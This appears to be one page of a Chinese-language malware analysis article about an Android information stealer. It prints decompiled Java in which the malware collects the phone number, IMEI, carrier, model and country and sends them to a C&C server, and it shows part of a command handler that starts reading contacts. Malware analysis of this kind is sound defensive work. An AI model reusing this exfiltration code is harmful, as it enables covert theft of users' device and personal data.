欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

洞若观火:全方位剖析Android信息窃取恶意软件(下篇)

来源:本站整理 作者:佚名 时间:2018-12-27 TAG: 我要投稿

六、源代码分析
6.9 类i(第二部分)
根据从ServerCommunicator类中得到的新信息,我们能更加容易地理解类i。首先,它将收集方法和ID。
如果指定的方法是install,它还会手机网络运营商、bild模型、版本号、电话号码、IMEI、恶意程序版本和所在国家。所有这些数据都将被发送至C&C服务器。
如果指定的方法是info,那么只会将恶意程序的方法和ID发送到C&C服务器。
最后,有一个名为sms的选项,这一方法的行为与info方法相同。
protected final Object doInBackground(Object[] urlArray) {
    Object var2 = null;
    boolean var3 = false;
    boolean var4 = MainService.e;
    String url = ((String[]) urlArray)[0];
    ServerCommunicator serverCommunicator = new ServerCommunicator();
    this.parameters.add(new BasicNameValuePair("method", this.command));
    this.parameters.add(new BasicNameValuePair("id", this.sharedPreferences.getString("id", (String) null)));
    JSONObject serverResponse;
    if (this.command.startsWith("install")) {
        String POST = "POST";
        this.parameters.add(new BasicNameValuePair("operator", TelephonyManagerWrapper.getTelephonyManager(context).getNetworkOperatorName()));
        this.parameters.add(new BasicNameValuePair("model", Build.MODEL));
        this.parameters.add(new BasicNameValuePair("os", VERSION.RELEASE));
        this.parameters.add(new BasicNameValuePair("phone", TelephonyManagerWrapper.getTelephonyManager(context).getLine1Number()));
        this.parameters.add(new BasicNameValuePair("imei", TelephonyManagerWrapper.getTelephonyManager(context).getDeviceId()));
        this.parameters.add(new BasicNameValuePair("version", Constants.version));
        this.parameters.add(new BasicNameValuePair("country", context.getResources().getConfiguration().locale.getCountry()));
        serverResponse = ServerCommunicator.callC2(url, POST, this.parameters);
    } else if (this.command.startsWith("info")) {
        serverResponse = ServerCommunicator.callC2(url, StringDatabase.POST, this.parameters);
    } else {
        serverResponse = (JSONObject) var2;
        if (this.command.startsWith("sms")) {
            serverResponse = ServerCommunicator.callC2(url, StringDatabase.POST, this.parameters);
        }
    }
    if (StringDatabase.integerZero != 0) {
        if (!var4) {
            var3 = true;
        }
        MainService.e = var3;
    }
    return serverResponse;
}
需要注意的是,Constants类仅包含两个字段。这些变量的名称可以直接改成它们的值,例如下面的类:
public final class Constants {
    public static int int50005 = 50005;
    public static String version = "5";
}
6.9.1 onPostExecute
多亏我的一个朋友,我获得了使用JEB反编译的Java代码。代码仍然非常复杂,因为这一函数大概有250行之多。此外,还有很多try-catch结构和jump,这又给分析工作加大了难度。
SMALI等效代码大约有550行,这使得我们几乎无法分析。但根据SMALI代码,我们可以大概看到函数执行的操作:比较字符串,如果相匹配则执行代码。这可能代表Java代码确认后的命令处理。下面是反编译后未经修改的部分Java代码。
//[omitted]
try {
    if(v15.equals(String.valueOf(o.h) + o.E)) {
        this.w.edit().putLong(o.u, Long.valueOf((((long)(v8.optInt(i.t[17]) * 1000))) + System.currentTimeMillis()).longValue()).commit();
    }
    if(v15.equals(String.valueOf(o.h) + i.t[18])) {
        i.q(v8.optString(i.t[33]), v8.optString(o.c));
    }
    if(v15.equals(i.t[21] + o.f + i.t[16])) {
        v16 = v8.optString(i.t[33]);
        v17 = i.q.getContentResolver().query(ContactsContract$Contacts.CONTENT_URI, null, null, null, null);
        if(v17 != null) {

[1] [2] [3] [4] [5] [6] [7]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载